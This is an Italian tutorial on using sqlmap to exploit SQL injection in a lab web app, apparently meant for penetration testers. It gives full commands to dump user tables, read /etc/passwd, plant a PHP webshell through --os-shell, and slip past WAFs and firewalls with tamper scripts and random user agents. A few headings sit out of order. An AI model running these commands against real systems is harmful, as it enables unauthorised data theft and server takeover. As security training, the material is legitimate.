SQL Injection con SQLMap

A cura di: Manuel Roccon (Team hackerhood)

Cos’è Sql Injection?

Vettore di attacco SQL injection è una tecnica usata per attaccare applicazioni che gestiscono dati attraverso database relazionali sfruttando il linguaggio SQL e che non controllano in modo corretto l’input degli utenti


Gli aggressori possono ottenere quindi l’accesso alle informazioni memorizzate nei database, possono anche utilizzare SQL Injection per aggiungere, modificare ed eliminare record nel database oltre, in alcuni casi, a poter leggere e scrivere file all’interno del server che lo ospitano creando problemi molto più seri della sola visualizzazione dei dati.

Gli attaccanti per questa tecnica di attacco introducono una serie di caratteri speciali (es. ” ‘ # –), non filtrati correttamente dall’applicazione, nei parametri inviati alla web app per poter “alterare” la query che utilizza per estrarre i dati dal database, modificando il comportamento dell’applicazione.

Che cos’è SQLMap

Sqlmap è un software di penetration testing, open source, che automatizza il processo di rilevamento e sfruttamento delle vulnerabilità SQL injection ed esfiltrazione dei dati dal database. Viene fornito con un potente motore di rilevamento, molte funzionalità e un’ampia gamma di comandi che vanno dal riconoscimento dalla versione del database, alla lettura e esfiltrazione dei dati, all’accesso al file system sottostante e all’esecuzione di comandi sul sistema operativo.

Sqlmap è stato sviluppato per la prima volta nel 2006 da Daniele Bellucci e successivamente gestito da Bernardo Damele e Miroslav Stampar.

Da ricordare che questo è un ottimo strumento automatizzato per lo sfruttamento, ma richiede sempre a priori un’analisi manuale delle Vulnerabilità sqli in modo che l’attaccante individui l’ entry point per poi configurare correttamente i parametri di SQLmap.

Prima di iniziare riporto il disclaimer di sqlmap che visualizzerete ad ogni avvio, che ricorda che ogni tipologia di test deve essere fatto su ambienti di laboratorio o previo consenso.

Il nostro test

Utilizzeremo una webapp di laboratorio vulnerabile per esplorare sqlmap e i suoi comandi per ottenere lo stesso risultato.

SQLmap permette moltissimi comandi e personalizzazioni, anche per sql injection dove occorre una configurazione più avanzata per superare per esempio token crfs o superare i WAF che potrebbero filtrare le nostre richieste.

L’obiettivo di questo articolo comunque è mostrare come estrarre i dati  in un semplice scenario.

Alla fine dedicheremo un approfondimento su alcuni comandi di esempio che potrebbero essere utili.

Iniziamo

Dopo aver rilevato entry point di attacco

Sostituiamo il valore ID con l’apice e vediamo restituirci l’errore sql.

Ora sappiamo che a quel link e tramite il parametro ID possiamo iniettare del codice SQL (per chi se lo fosse perso invito a vedere il workshop di Red Hot Cyber di Manuel Roccon sul web application).

Estraiamo delle informazioni sui database esistenti

Ora che abbiamo il link e il parametro con cui abbiamo innescato sql injection, configuriamo sqlmap per estrarre le informazioni sul db. 

Quindi usiamo l’opzione –dbs per elencare tutti i database disponibili. Opzione –p viene usata per indicare il parametro da testare.

Quindi eseguiamo:

sqlmap -u “http://192.168.218.130/cc/php/ajaxGetPdfData.php?id=1” -p id –dbs

Come possiamo vedere sqlmap a ogni avvio, individuerà e preparerà già i possibili payload che andrà ad utilizzare, delle varie tipologie di SQLi (UNION base, Error base, time base cc..).

Di seguito ha riportato la lista dei database in una frazione di secondo. Come possiamo constatare l’operazione di analisi manuale per provarli ad uno ad uno ci avrebbe richiesto molto più tempo.

Estraiamo inoltre l’utente con cui viene eseguita la query nel motore database, molto importante per capire l’area di attacco che avremmo nel db.

sqlmap -u “http://192.168.218.130/cc/php/ajaxGetPdfData.php?id=1” -p id –current-user

In questo caso siamo root, avremmo piena visibilità di tutti i database e tutti i permessi nel motore database.

Elenchiamo le informazioni sulle Tabelle presenti in un particolare database

Ora continuiamo con la nostra esplorazione ed estraiamo il contenuto del database app_demo appena trovato.

sqlmap -u “http://192.168.218.130/cc/php/ajaxGetPdfData.php?id=1” -p id -D app_demo –tables

Estraiamo le colonne di una particolare tabella

Per visualizzare le colonne di una particolare tabella del database, possiamo utilizzare il seguente comando, in cui utilizziamo -T per specificare il nome della tabella e –columns per interrogare i nomi delle colonne. Proveremo ad accedere alla tabella users appena trovata.

sqlmap -u “http://192.168.218.130/cc/php/ajaxGetPdfData.php?id=1” -p id -D app_demo -T users –columns

Come possiamo vedere ci viene riportato le colonne della tabella.

Estraiamo i dati di una colonna

Ora possiamo estrarre i dati di una colonna presenti nella tabella users. Utilizzeremo –T per selezionare la tabella e –C per il campo da estrarre, –dump ci permetterà di indicare che vogliamo eseguire il dump dei dati.

sqlmap -u “http://192.168.218.130/cc/php/ajaxGetPdfData.php?id=1” -p id  -D app_demo -T users -C email –dump

Estraiamo tutto il contenuto una tabella

Conoscendo il nome della tabella, possiamo fare più velocemente scaricando tutto il contenuto con questo comando

sqlmap -u “http://192.168.218.130/cc/php/ajaxGetPdfData.php?id=1” -p id  -D app_demo -T users –dump

Estraiamo i dati di tutto un database.

Questi esempi granulari sono stati appositamente fatti per poter fare delle analisi mirate sul contenuto del database attaccato. 

sqlmap -u “http://192.168.218.130/cc/php/ajaxGetPdfData.php?id=1” -p id –file-read=’/etc/passwd’

RANDOM AGENT

In realtà è possibile eseguire un comando automatizzato per estrarre tutto il contenuto del database, questo però potrebbe impiegare molto tempo e generare molto traffico, con il rischio di essere scoperti in un’attività di penetration testing in black box

sqlmap -u “http://192.168.218.130/cc/php/ajaxGetPdfData.php?id=1” -p id  -D app_demo –dump

A questo punto sqlmap tabella per tabella comincerà ad estrarre i dati del database.

Sqlmap visualizza i dati a video, ma nel contempo tutti i dati estrapolati saranno salvati nella directory creata.

Leggiamo un file

SQLmap scaricherà il file in locale

Avviamo una webshell

Passeremo ad altra operazione che fare con sqlmap, molto interessante. Poter inviare direttamente dei comandi al server per poi farci restituire output, una sorta di reverse shell.

Per fare questo utilizziamo –os-shell, e in seguito la console ci farà alcune domande. Inizialmente tenterà di utilizzare delle librerie di Mysql ma fallirà, e proseguirà caricando una webshell in php che userà per inviare i nostri comandi.

Quindi eseguiremo:

sqlmap -u “http://192.168.218.130/cc/php/ajaxGetPdfData.php?id=1” -p id –os-shell

In questo caso SQLmap ci avvertirà che avrà fallito nel provare ad iniettare e le sue solite librerie condivise sql per utilizzare l’attacco on memory (ci sono vari articoli riguardo al fallimento di questa opzione e nel nostro caso dipende dai permessi della directory plugin), quindi procediamo con la web backdoor, e indichiamo PHP come linguaggio

Il motivo, se eseguiamo il comando –parse-errors, che vedremo dopo nel approfondimento, ci indicherà “FUNCTION app_demo.JSON_ARRAYAGG does not exist”, il motivo è che la versione di MySQL 5.5 non supporta JSON_ARRAYAGG necessaria per sfruttare le librerie condivise. 

A questo punto possiamo vedere che abbiamo ottenuto la nostra webshell, i file evidenziati sono quelli creati dal sqlmap per interagire con la shell del server. Possiamo vedere le webshell iniettate da SQLmap.

APPROFONDIMENTO

Ci sono una serie di comandi aggiuntivi che potrebbero tornarci utili

VISUALIZZARE ERRORE

Con il comando parse-errors è possibile visualizzare errore sql nel caso ci sia qualcosa che non funzioni

Es. –parse-errors

DATA

Con il parametro –data indichiamo a sqlmap i parametri da includere nella chiamata, che indicandolo verrà eseguita automaticamente in POST

Es.

sqlmap -u http://thehost/include/login.php –data “password=letmein&username=this_is_a_real_username” -p “username” –cookie=’PHPSESSID=jh3c0eqqu03mlcvjh1ddjj1spr;’

sqlmap -u http://thehost/include/login.php –data “password=letmein&username=this_is_a_real_username” -p “username”

DELAY

Alcuni firewall potrebbero intercettare le nostre troppe chiamate per secondo  limitando o addirittura bannando,  oltre al fatto di rischiare di sovraccaricare il server. Dalay permette di limitare il numero di chiamate al secondo.

es.

sqlmap -u http://thehost/include/login.php –data “password=letmein&username=this_is_a_real_username” -p “username” –delay=0.2

Per impostazione predefinita, sqlmap esegue richieste HTTP con l’agente utente come: “sqlmap/1.2.4#stable (http://sqlmap.org)”. Questo però potrebbe bloccare le chiamate da alcuni firewall. Random agent sostituisce questo con un user agent reale.

es.

sqlmap -u http://thehost/include/login.php –data “password=letmein&username=this_is_a_real_username” -p “username” –random-agent

COOKIE

Con questo parametro è possibile impostare dei cookie

Oppure eseguire del SQLi all’interno dei cookie

sqlmap -u ‘protocol://test.server/test_url/’ –cookie=’id=*; PHPSESSID=jh3c0eqqu03mlcvjh1ddjj1spr;’ -p ‘id’

O altra tipologia di header

sqlmap -u ‘protocol://test.server/test_url/’ –headers=”referer:*”

FILE RICHIESTA HTTP

possiamo indicare un file dove è presente tutta la richiesta html in sostituzione del parametro -u (includerà tutti i parametri e cookie), per esempio una richiesta salvata da Burp Suite

Es. sqlmap -r request.txt -p “username” 

VERBOSE

Permette di avere un livello di log maggiore, possiamo visualizzare ogni singola query che sqlmap sta provando a usare in fase di ricerca.

Es.sqlmap -u http://thehost/include/login.php –data “password=letmein&username=this_is_a_real_username” -p “username” –v 3

RISCHIO e LIVELLO

Il rischio consente il tipo di payload utilizzati dallo strumento. Per impostazione predefinita, utilizza il valore 1 e può essere configurato fino al livello 3. Il livello 3, essendo il massimo, include alcune query SQL pesanti.

Il livello definisce il numero di controlli/payload da eseguire. Il valore è compreso tra 1 e 5. 5, essendo il massimo, include un numero elevato di payload nella scansione.

È consigliabile aumentare il rischio e il livello se SQLMap non è in grado di rilevare l’iniezione nelle impostazioni predefinite.

Es. sqlmap -u http://thehost/include/login.php –data “password=letmein&username=this_is_a_real_username” -p “username” –risk 3 –level 5

TAMPER

I tamper sono delle rielaborazione del input che sql va a fare, questo nel tentare di ingannare i waf se ci dovrebbero essere e bloccare intercettare le nostre richieste

Es. sqlmap -u http://thehost/include/login.php –data “password=letmein&username=this_is_a_real_username” -p “username” –tamper=”between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,percentage,randomcase,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes”

SELEZIONARE TECNICA DI ATTACCO PARTICOLARE

In generale sqlmap utilizza tutte le tecniche disponibili, se sappiamo per esempio che la nostra web app è vulnerabile a un’unione possiamo indicare di usare solo un metodo.

Per esempio un form di login è molto probabile che sarà vulnerabile a una error base e possiamo indicarlo.

  • B: Boolean-based blind
  • E: Error-based
  • U: Union query-based
  • S: Stacked queries
  • T: Time-based blind
  • Q: Inline queries

ES. sqlmap -u http://thehost/include/login.php –data “password=letmein&username=this_is_a_real_username” -p “username” –technique=E

Una completa lista di comandi è possibile trovarla a questo link:

https://github.com/sqlmapproject/sqlmap/wiki/Usage

CONCLUSIONE

In questo articolo abbiamo visto i principali comandi che potremmo utilizzare con SqlMAP, questo è solo una piccola parte delle potenzialità che ha questo strumento di hacking.

Comments are closed